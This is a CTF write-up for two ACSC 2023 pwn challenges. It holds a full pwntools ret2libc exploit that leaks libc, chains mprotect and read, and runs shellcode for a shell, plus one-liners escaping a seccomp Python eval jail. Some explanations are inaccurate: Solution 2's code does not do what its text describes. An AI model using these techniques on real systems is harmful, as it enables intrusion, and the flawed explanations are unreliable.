PWN【ACSC 2023】Writeup WP Reproduction
This is an individual competition, but I have already forgotten things related to Web or Rev, let alone Crypto. Meanwhile, we cannot solve the hard challenges, so uh-hum, let's just say I'm not participating for the sake of the ranks LOL
Vaccine
The program uses scanf
to receive our input, therefore we have no length limit, and we can just modify s to be the same as s2.
Then, we'll be able to leak the libc_address and ret2libc by simply doing a stack overflow and changing the return address.
At first, I used a wrong libc version and there were no one_gadgets available, so I used the mprotect
and shellcode to get the shell, which made things more complicated.
exp:
from pwn import *
context(log_level='DEBUG', arch='amd64', os='linux')
context.terminal = "wt.exe nt bash -c".split()
sh = process(['./vaccine'])
sh = remote('vaccine-2.chal.ctf.acsc.asia', 1337)
elf = ELF('./vaccine')
# libc = ELF('./libc6-i386_2.31-9_amd64.so') # wrong libc lol
libc = ELF('/home/nova/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6')
pop_rdi_ret = 0x401443
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
# gdb.attach(sh, 'b *0x00000000004013D7')
# pause()
payload = b'AAAA' + b'\x00'*108 + b'AAAA\x00'
payload = payload.ljust(0x108, b'\x00')
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(0x401236)
sh.sendlineafter(b'Give me vaccine: ', payload)
sh.recvuntil(b'castle\n')
libc_base = u64(sh.recv(6).ljust(8, b'\x00')) - 0x84420
mprotect = libc_base + libc.sym['mprotect']
read = libc_base + libc.sym['read']
pop_rsi_ret = libc_base + 0x02601f
pop_rdx_r12_ret = libc_base + 0x119211
print(hex(libc_base))
payload = b'AAAA' + b'\x00'*108 + b'AAAA\x00'
payload = payload.ljust(0x108, b'\x00')
payload += p64(pop_rdi_ret) + p64(elf.bss() & (~0xfff)) + p64(pop_rsi_ret) + p64(0x1000) + p64(pop_rdx_r12_ret) + p64(7)*2 + p64(mprotect)
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(elf.bss() + 0x50) + p64(pop_rdx_r12_ret) + p64(0x1000)*2 + p64(read) + p64(elf.bss() + 0x50) + p64(0x401236)
sh.sendlineafter(b'Give me vaccine: ', payload)
sh.sendline(asm(shellcraft.sh()))
sh.interactive()
Evalbox
This is a really interesting challenge.
#!/usr/bin/env python3
import seccomp
if __name__ == '__main__':
f = seccomp.SyscallFilter(defaction=seccomp.ALLOW)
f.add_rule(seccomp.KILL, 'close')
f.load()
eval(input("code: "))
It will eval
anything we input, but it also prohibits all function calls for close
.
In Dockerfile
, we know that we should first get the filename of the flag.
At first, I thought there might be some differences between seccomp.so
and seccomp.pyx. So I tried to compile this .pyx
file and attempted to use bindiff between these two files, but I failed :(
But there are actually many ways to bypass this jail.
Solution 1
This is an exp in a pure Python way.
We can use os.scandir(os.open(".", 0))
to get all files in the .
directory, and we can use print(os.open(filename, 'r').read())
to get the content of the file.
Let's just shorten it to one line.
print(os:=__import__('os'), d:=os.scandir(os.open(".", 0)), f:=open(next(filter(lambda x: x.name.startswith("flag"), d))), f.read(), sep='\n\n')
Solution 2
We can open /proc/self/mem
and write shellcode on the .text
segment.
print(os:=__import__('os'), f:=open('flag-31540753807ba7099ea27997ca43e280.txt', 'r'), f.read())
This Content is generated by ChatGPT and might be wrong / incomplete, refer to Chinese version if you find something wrong.